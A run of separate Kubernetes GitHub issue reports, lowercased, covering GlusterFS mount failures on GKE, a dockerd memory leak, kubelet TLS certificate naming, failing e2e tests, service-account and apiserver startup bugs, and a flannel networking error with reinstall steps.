i'm having the issue described  here  https://github.com/kubernetes/kubernetes/issues/34127 issuecomment-270726431 . i'm on gke trying to connect to a gluster cluster on gce witin the same project. i have a working gluster cluster. i'm able to mount the gluster volume manually from within a container but i can't seem to mount it as a kubernetes volume. my gke container cluster was on node version 1.4.7. i tried upgrading 1.5.1 to see if that would help  it didn't seem to .\r \r my container never comes up.  kubectl describe pod my-nginx  produces the following error.\r \r    \r warning\r failedmount\r mountvolume.setup failed for volume \ kubernetes.io/glusterfs/d8c69908-de8b-11e6-a90f-42010a8a020e-volume-name\   spec.name: \ volume-name\   pod \ d8c69908-de8b-11e6-a90f-42010a8a020e\   uid: \ d8c69908-de8b-11e6-a90f-42010a8a020e\   with: glusterfs: mount failed: mount failed: exit status 1\r \r mounting command: /home/kubernetes/bin/mounter\r mounting arguments: 10.138.0.7:/volume-name /var/lib/kubelet/pods/d8c69908-de8b-11e6-a90f-42010a8a020e/volumes/kubernetes.io~glusterfs/volume-name glusterfs  log-level=error log-file=/var/lib/kubelet/plugins/kubernetes.io/glusterfs/volume-name/wordpress-2973412056-g7npl-glusterfs.log \r \r output: running mount using a rkt fly container\r \r run: group \ rkt\  not found, will use default gid when rendering images\r warning: getfattr not found, certain checks will be skipped..\r mount failed. please check the log file for more details.\r \r  the following error information was pulled from the glusterfs log to help diagnose this issue:\r \r   2017-01-19 21:11:46.454247  e  msgid: 108006   afr-common.c:3880:afr_notify  0-volume-name-replicate-0: all subvolumes are down. going offline until atleast one of the\r  m comes back up.\r   2017-01-19 21:11:46.453221  e  msgid: 101075   common-utils.c:306:gf_resolve_ip6  0-resolver: getaddrinfo failed  temporary failure in name resolution \r    \r \r    deployment with a mount  fails with error above \r my failing config looks like this:\r \r    yml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-nginx\r   labels:\r     app: mine\r spec:\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: mine\r         tier: nginx\r     spec:\r       containers:\r       - image: nginx\r         name: my-nginx\r         ports:\r         - containerport: 80\r           name: my-nginx\r         volumemounts:\r         - name: volume-name\r           mountpath: /usr/share/nginx/html\r       volumes:\r       - name: volume-name\r         glusterfs:\r           endpoints: glusterfs-cluster\r             doesn't seem to matter if it's /volume-name or volume-name\r           path: /volume-name\r           readonly: true\r    \r \r    test deployment  works \r i wanted to test that my gluster cluster was working as expected. i decided to create a test image that closely matched the  gci mounter image  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/gci/mounter/dockerfile .\r \r    yml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-test\r   labels:\r     app: mine\r spec:\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: mine\r         tier: test\r     spec:\r       containers:\r       - image: ubuntu:xenial\r         name: test\r         command:\r         - \ bin/sleep\ \r         - \ infinity\ \r         securitycontext:\r          capabilities: {}\r          privileged: true\r    \r \r i was able to connect to that running image and test somethings out.\r \r    bash\r   open bash on the test container\r kubectl exec -ti my-test-2787244864-dv57b -- bash -il\r \r   install glusterfs-client just like the gci mounter does\r apt-get update && apt-get install -y netbase nfs-common=1:1.2.8-9ubuntu12 glusterfs-client=3.7.6-1ubuntu1\r \r   attempt to mount the volume\r mount -t glusterfs 10.138.0.7:/volume-name /mnt\r \r   write to it\r touch /mnt/testfile\r    \r \r all of my tests worked! when i log into my gluster cluster and mount the volume i can see the test file.\r \r    service and endpoints\r \r    yml\r apiversion: v1\r kind: endpoints\r metadata:\r   name: glusterfs-cluster\r   labels:\r     app: mine\r subsets:\r   - addresses:\r     - hostname: gfs-cluster1-server-1\r       ip: 10.138.0.7\r     ports:\r     - port: 24007\r       name: gluster\r       protocol: tcp\r   - addresses:\r     - hostname: gfs-cluster1-server-2\r       ip: 10.138.0.8\r     ports:\r     - port: 24007\r       name: gluster\r       protocol: tcp\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: glusterfs-cluster\r   labels:\r     app: mine\r spec:\r   ports:\r     - port: 24007\r       name: gluster\r       protocol: tcp\r    \r \r    gluster cluster\r i created my gluster cluster in gce. i changed a few things from  this example  https://github.com/rimusz/glusterfs-gce . most notably i'm not messing with static ips as that example did. essentially i'm standing up ubuntu xenial, installing glusterfs-server and starting a volume named  volume-name . again, i'm fairly certain that my gluster cluster is in fine working order.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r memory leaks docker 1.12 kubelet logs\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.4.8\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : linux ip-10-10-10-10 4.8.0-49-generic  52~16.04.1-ubuntu smp thu apr 20 10:55:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  : docker 1.12\r \r \r   what happened  :\r noticed some of our dockerd processes using several gigs of rss, worse case was over 6gi.\r \r   what you expected to happen  :\r dockerd shouldn't use more than about 100mi.\r \r   how to reproduce it    as minimally and precisely as possible :\r stream logs from kubelet api, ideally for a heavily loaded server with lots of logs. disconnect client abruptly so that kubelet gets a tcp reset.\r \r   anything else we need to know  :\r \r the follow log appears in kubelet logs when it happens  sanitised for internal names :\r    \r i0426 10:18:08.757103    2560 server.go:967  get /containerlogs/my-ns/my-service-267577793-602b7/my-service?follow=true:  224.989\r 63ms  400\r goroutine 3089119  running :\r k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc82214e150, 0x190 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:219 +0xa3\r k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc82214e150, 0x190 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:198 +0x2b\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  response .writeheader 0xc820a39320, 0x190 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/response.go:200 +0x41\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  response .writeerrorstring 0xc820a39320, 0x190, 0xc820a39980, 0x52, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/response.go:180 +0x11a\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  response .writeerror 0xc820a39320, 0x190, 0x7fea4eccc1c0, 0xc824155680, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/response.go:165 +0x8d\r k8s.io/kubernetes/pkg/kubelet/server.  server .getcontainerlogs 0xc8207ec0f0, 0xc823bc11d0, 0xc820a39320 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:499 +0x14e9\r k8s.io/kubernetes/pkg/kubelet/server.  server . k8s.io/kubernetes/pkg/kubelet/server.getcontainerlogs -fm 0xc823bc11d0, 0xc820a39320 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:352 +0x34\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc820c30120, 0x7fea4ed59220, 0xc82214e150, 0xc821da10a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xf30\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x7fea4ed59220, 0xc\r 82214e150, 0xc821da10a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x3e\r net/http.handlerfunc.servehttp 0xc8208bbb00, 0x7fea4ed59220, 0xc82214e150, 0xc821da10a0 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r net/http.  servemux .servehttp 0xc8201e2090, 0x7fea4ed59220, 0xc82214e150, 0xc821da10a0 \r         /usr/local/go/src/net/http/server.go:1910 +0x17d\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .servehttp 0xc820c30120, 0x7fea4ed59220, 0xc82214e150, 0xc821da10a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:287 +0x43\r k8s.io/kubernetes/pkg/kubelet/server.  server .servehttp 0xc8207ec050, 0x7fea4ed59220, 0xc82214e150, 0xc821da10a0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:966 +0x138\r net/http.serverhandler.servehttp 0xc820a24e00, 0x7fea4ed591e8, 0xc823be88f0, 0xc821da10a0 \r         /usr/local/go/src/net/http/server.go:2081 +0x19e\r net/http.  conn .serve 0xc8216fd400 \r         /usr/local/go/src/net/http/server.go:1472 +0xf2e\r created by net/http.  server .serve\r         /usr/local/go/src/net/http/server.go:2137 +0x44e\r logging error output: \ write tcp 10.10.10.1:10250->10.10.10.2:49428: write: connection reset by peer\ \r    \r \r in this case we're using kubectl so apiserver is making the connection.\r \r each time this message appears in the kubelet logs, dockerd memory usage goes up quite drastically. it's almost like kubelet isn't closing something properly to docker, and then docker doesn't free up the related memory. it's also most likely a function of the size of logs involved, since we don't see this in lightly loaded environments.\r \r it's probably a bug in docker that it doesn't free up the allocations, but kubelet should take care to close things properly if it's not already doing so.

 \r \r   what happened  :\r i am trying to use api-server kubelet-client certificate creation as per the tls bootstrap guide for the kubelet tls bootstrap feature  https://github.com/kubernetes/features/issues/43 . while the node join and certificate handshake works fine, it seems that the certificate does not get created correctly.\r after the node successfully joined the cluster i get a\r ´´´certificate is valid for system:node:<nodename>, not for <nodename>´´´\r when trying to issue any command on a pod running on that node  i.e. kubectl logs or kubectl exec .\r what is missing from the cnf, i think, is a proper alt-name for the hostname as it only has the cn set as system:node.\r \r   what you expected to happen  :\r the nodes joins and i can issue kubectl commands perfectly fine.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am using these kubelet.service definitions:\r    shell\r  unit \r description=kubernetes kubelet\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=docker.service\r requires=docker.service\r \r  service \r execstart=/usr/bin/kubelet \\\r   --allow-privileged=true \\\r   --cluster-dns=10.32.0.10,10.32.0.11,10.32.0.12 \\\r   --cluster-domain=cluster.local \\\r   --container-runtime=docker \\\r   --pod-manifest-path=/etc/kubernetes/manifests \\\r   --require-kubeconfig \\\r   --bootstrap-kubeconfig=/var/lib/kubelet/bootstrap.kubeconfig \\\r   --network-plugin=cni \\\r   --kubeconfig=/var/lib/kubelet/worker-kubeconfig.yaml \\\r   --serialize-image-pulls=false \\\r   --register-node=true \\\r   --tls-cert-file=/var/lib/kubernetes/kubelet-client.crt \\\r   --tls-private-key-file=/var/lib/kubernetes/kubelet-client.key \\\r   --cert-dir=/var/lib/kubernetes \\\r restart=on-failure\r restartsec=5\r \r  install \r wantedby=multi-user.target\r    \r and my api servers start like that:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   hostnetwork: true\r   containers:\r   - name: kube-apiserver\r     image: quay.io/coreos/hyperkube:v1.7.2_coreos.0\r     command:\r     - /hyperkube\r     - apiserver\r     - --bind-address=0.0.0.0\r     - --apiserver-count=3\r     - --audit-log-maxage=30\r     - --audit-log-maxbackup=3\r     - --audit-log-maxsize=100\r     - --audit-log-path=/var/lib/audit.log\r     - --enable-swagger-ui=true\r     - --authorization-mode=rbac\r     - --etcd-cafile=/etc/kubernetes/ssl/ca.pem\r     - --etcd-certfile=/etc/kubernetes/ssl/kubernetes.pem\r     - --etcd-keyfile=/etc/kubernetes/ssl/kubernetes-key.pem\r     - --etcd-servers=<multipleips>\r     - --allow-privileged=true\r     - --service-cluster-ip-range=10.32.0.0/24\r     - --secure-port=443\r     - --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota\r     - --kubelet-certificate-authority=/etc/kubernetes/ssl/ca.pem\r     - --kubelet-client-certificate=/etc/kubernetes/ssl/apiserver.pem\r     - --kubelet-client-key=/etc/kubernetes/ssl/apiserver-key.pem\r     - --service-account-key-file=/etc/kubernetes/ssl/ca-key.pem\r     - --tls-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem\r     - --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --client-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --authentication-token-webhook-config-file=/etc/kubernetes/ssl/ldap-webhook-config.yaml\r     - --authentication-token-webhook-cache-ttl=30m0s\r     - --runtime-config=authentication.k8s.io/v1beta1=true\r     - --token-auth-file=/etc/kubernetes/ssl/token.csv\r     livenessprobe:\r       httpget:\r         host: 127.0.0.1\r         port: 8080\r         path: /healthz\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     ports:\r     - containerport: 443\r       hostport: 443\r       name: https\r     - containerport: 8080\r       hostport: 8080\r       name: local\r     volumemounts:\r     - mountpath: /etc/kubernetes/ssl\r       name: ssl-certs-kubernetes\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ssl-certs-host\r       readonly: true\r   volumes:\r   - hostpath:\r       path: /var/lib/kubernetes/\r     name: ssl-certs-kubernetes\r   - hostpath:\r       path: /usr/share/ca-certificates\r     name: ssl-certs-host\r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2+coreos.0\ , gitcommit:\ c6574824e296e68a20d36f00e71fa01a81132b66\ , gittreestate:\ clean\ , builddate:\ 2017-07-24t23:28:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : bare-metal / on-prem\r - os  e.g. from /etc/os-release :\r nodes running ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :  4.10.0-20-generic\r - install tools: puppet\r - others:\r

it is almost completely red, with green runs few and far between.\r https://k8s-testgrid.appspot.com/google-gce gce-alpha-features\r \r examples:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-alpha-features/14541\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-alpha-features/14540\r \r failure signature:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:240\r aug 15 20:50:51.548: error waiting for all pods to be running and ready: 7 / 30 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                                   node phase   grace conditions\r event-exporter-2295964894-l8zkj            pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:30 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  4 , nodenotready  4 , nodeunschedulable  1 .} \r heapster-v1.4.1-1566305689-zg7hk           pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:28 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  2 , nodenotready  4 , nodeunschedulable  1 .} \r kube-dns-4124969034-wvthl                  pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:30 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  4 , nodenotready  4 , nodeunschedulable  1 .} \r kube-dns-autoscaler-3860376563-6bv7g       pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:32 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  4 , nodenotready  4 , nodeunschedulable  1 .} \r kubernetes-dashboard-3272355337-854mq      pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:28 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  2 , nodenotready  4 , nodeunschedulable  1 .} \r l7-default-backend-2053678608-p7j2s        pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:27 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  2 , nodenotready  4 , nodeunschedulable  1 .} \r monitoring-influxdb-grafana-v4-z6hzd       pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-08-15 20:34:28 +0000 utc reason:unschedulable message:no nodes are available that match all of the following predicates: nodenetworkunavailable  2 , nodenotready  4 , nodeunschedulable  1 .} \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:191\r    \r \r the scheduling failure message looks related to  50362, but i am not sure how the tests could pass occasionally. \r /cc the pr author just in case @k82cn

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r we converted the /var/lib/docker backend from btrfs to devicemapper forcing a wipe of the partition.\r the wipe was done while kubelet was stopped on the node. \r after docker was reconfigured properly and that kubelet was started, not all containers we restarted. those in namespaces where the default service account was refreshed could not start.\r \r   what you expected to happen  :\r i would have expected that all containers be restarted, even those with invalid default service account tokens  they do not use it \r \r   how to reproduce it  as minimally and precisely as possible   :\r    kubectl create ns test \r    kubectl create -n test -f https://raw.githubusercontent.com/kubernetes/kubernetes.github.io/master/docs/concepts/workloads/controllers/nginx-deployment.yaml \r    kubectl -n test delete sa default \r    ssh noderunningcontainer \r    systemctl stop kubelet \r    docker rm -f <containerid 1> <containerid 2> \r    systemctl start kubelet \r \r from this point on the container won't be scheduled in docker,  journalctl -u kubelet -n 20 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r cat /etc/centos-release\r centos linux release 7.3.1611  core  \r    \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux mtl-blade32-14-vm2.nuance.com 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r cluster startup times out. kube-apiserver never comes up.\r \r   what you expected to happen  :\r \r cluster starts up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    sh\r export enable_apiserver_basic_audit=true\r cluster/kube-up.sh\r    \r \r   anything else we need to know?  :\r \r this seems to be caused by https://github.com/kubernetes/kubernetes/pull/53225.\r \r the kube-apiserver never comes up, and when i ssh into the master and run  sudo systemctl status kube-master-configuration  i see this error:\r \r    \r /home/kubernetes/bin/configure-helper.sh: line 1353: feature_gates: readonly variable\r    \r \r   environment  : gce\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r creating new issue as the original one was closed without solution, more people announced the problem and there was no response on closed issue thread.\r cannot reach kube dns  e.g. nslookup kubernetes.default  from busybox test pod.\r \r details here: \r https://github.com/kubernetes/kubernetes/issues/57558\r \r i would prefer reopening the old issue.

in crd openapi validation we disallow  additionalproperties  in parallel to  properties . but  patternproperties  is allowed without restriction.\r \r but,  patternproperties: {\ . \ : foo}  is equivalent to  additionalproperties: foo . so we should add the same restriction to  patternproperties , for the same reasons we had for the   additionalproperties  case.

 \r @kubernetes/sig-contributor-experience-bugs\r \r   what happened  : \r installed a single-node kubernetes cluster on centos 7  vm running on virtual box ; my application pod  created via k8s deployment  won’t go into ready state\r \r pod event:  warning  failedcreatepodsandbox . . . kubelet . . . failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox . . . network for pod \ companyemployees-deployment-766c7c7767-t7mc5\ : networkplugin cni failed to set up pod \ companyemployees-deployment-766c7c7767-t7mc5_default\    network: open /run/flannel/subnet.env: no such file or directory  \r \r in addition, it looks like the kubernetes coredns docker container keeps exiting – e.g.  docker ps -a | grep -i coredns : 6341ce0be652        k8s.gcr.io/pause:3.1   \ /pause\  . . . exited  0  1 second ago                                      k8s_pod_coredns-576cbf47c7-9bxxg_kube-system_e84afb7a-d7b7-11e8-bafa-08002745c4bc_581\r \r   what you expected to happen  :\r flannel not to have the error & pod to go into ready state\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a simple deployment after creating docker image and pushing the image to a private docker registry\r  kubectl create -f companyemployees-deployment.yaml \r   deployment yaml:  \r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: companyemployees-deployment\r   labels:\r     app: companyemployees\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: companyemployees\r   template:\r     metadata:\r       labels:\r         app: companyemployees\r     spec:\r       containers:\r       - name: companyemployees\r         image: localhost:5000/companyemployees:1.0\r         ports:\r         - containerport: 9092\r    \r \r   anything else we need to know?  :\r  ip link \r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown mode default qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r 2: enp0s3: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up mode default qlen 1000\r     link/ether 08:00:27:45:c4:bc brd ff:ff:ff:ff:ff:ff\r 3: enp0s8: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up mode default qlen 1000\r     link/ether 08:00:27:21:0f:92 brd ff:ff:ff:ff:ff:ff\r 4: docker0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state up mode default \r     link/ether 02:42:1b:04:1f:7c brd ff:ff:ff:ff:ff:ff\r 6: veth3f5bcb4@if5: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master docker0 state up mode default \r     link/ether b2:1f:d4:fb:84:2e brd ff:ff:ff:ff:ff:ff link-netnsid 0\r   7: flannel.1:   <broadcast,multicast> mtu 1450 qdisc noop state down mode default \r     link/ether e6:44:ed:15:dd:97 brd ff:ff:ff:ff:ff:ff\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r single-node kubernetes cluster on centos 7 vm running on virtual box  virtual box is running on windows 7 pro \r \r - os  e.g. from /etc/os-release :\r  cat /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r  rpm -q centos-release \r centos-release-7-4.1708.el7.centos.x86_64\r \r - kernel  e.g.  uname -a  :\r  uname -a \r linux ibm-ms 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r my team's centos image had docker, kubernetes, flannel and docker private registry already on the image; it was working and then recently i had issues w/ it that resulted in my uninstalling kubernetes, docker and flannel and reinstalling.\r \r install steps:\r \r switch to root:  su - root \r \r   install docker  \r 1.  yum install -y yum-utils device-mapper-persistent-data lvm2 \r 2.  yum-config-manager --add-repo  https://download.docker.com/linux/centos/docker-ce.repo \r 3.  yum install docker-ce \r 4.  systemctl daemon-reload \r 5.  systemctl enable docker \r 6.  systemctl start docker \r 7.  docker run hello-world \r \r   install private docker registry  \r 1.  docker pull registry \r 2.  docker run -d -p 5000:5000 --restart=always --name registry registry \r 3. note: firewalld is not running\r \r   install k8s:  \r \r 1.  setenforce 0 \r 2.  sed -i --follow-symlinks 's/selinux=enforcing/selinux=disabled/g' /etc/sysconfig/selinux \r 3.  swapoff -a \r 4. edit  /etc/fstab  and comment-out /dev/mapper/centos-swap swap\r 5. add kubernetes repo for yum - edit /etc/yum.repos.d/kubernetes.repo and add\r    \r  kubernetes \r \tname=kubernetes\r \tbaseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r \tenabled=1\r \tgpgcheck=1\r \trepo_gpgcheck=1\r \tgpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg\r \t\thttps://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r    \r 6.  yum install -y kubelet kubeadm kubectl \r 7.  systemctl enable kubelet \r 8.  systemctl start kubelet \r 9.  kubeadm init --pod-network-cidr= 10.244.0.0/16 \r 10. k8s config for user – running as root:  export kubeconfig=/etc/kubernetes/admin.conf \r \r   install flannel:  \r 1.  sysctl net.bridge.bridge-nf-call-iptables=1 \r 2.  kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/bc79dd1505b0c8681ece4de4c0d86c5cd2643275/documentation/kube-flannel.yml \r \r remove master node taint  to allow scheduling pods on master :  kubectl taint nodes --all node-role.kubernetes.io/master- \r \r - others:\r prior to installing,   uninstalled   using following steps:\r \r switch to root:  su - root \r \r   uninstall k8s  \r  although on master node, i did this a few times and included draining the node the last time \r 1.  kubectl drain mynodename --delete-local-data --force --ignore-daemonsets \r 2.  kubectl delete node mynodename  \r 3.  kubeadm reset \r 4.  systemctl stop kubelet \r 5.  yum remove kubeadm kubectl kubelet kubernetes-cni kube  \r 6.  yum autoremove \r 7.  rm -rf ~/.kube \r 8.  rm -rf /var/lib/kubelet/  \r \r   uninstall docker:  \r 1.  docker rm  docker ps -a -q  \r 2.  docker stop  as needed  \r 3.  docker rmi -f  docker images -q  \r 4. check that all containers and images were deleted:  docker ps -a ;   docker images \r 7.  systemctl stop docker \r 8.  yum remove yum-utils device-mapper-persistent-data lvm2 \r 9.  yum remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux  docker-engine-selinux docker-engine \r 10.  yum remove docker-ce \r 11.  rm -rf /var/lib/docker \r 12.  rm -rf /etc/docker \r \r   uninstall flannel  \r 1.  rm -rf /var/lib/cni/ \r 2.  rm -rf /run/flannel \r 3.  rm -rf /etc/cni/ \r 4. remove interfaces related to docker and flannel:\r  ip link  \r for each interface for docker or flannel, do the following\r  ifconfig <name of interface from ip link> down \r  ip link delete <name of interface from ip link>

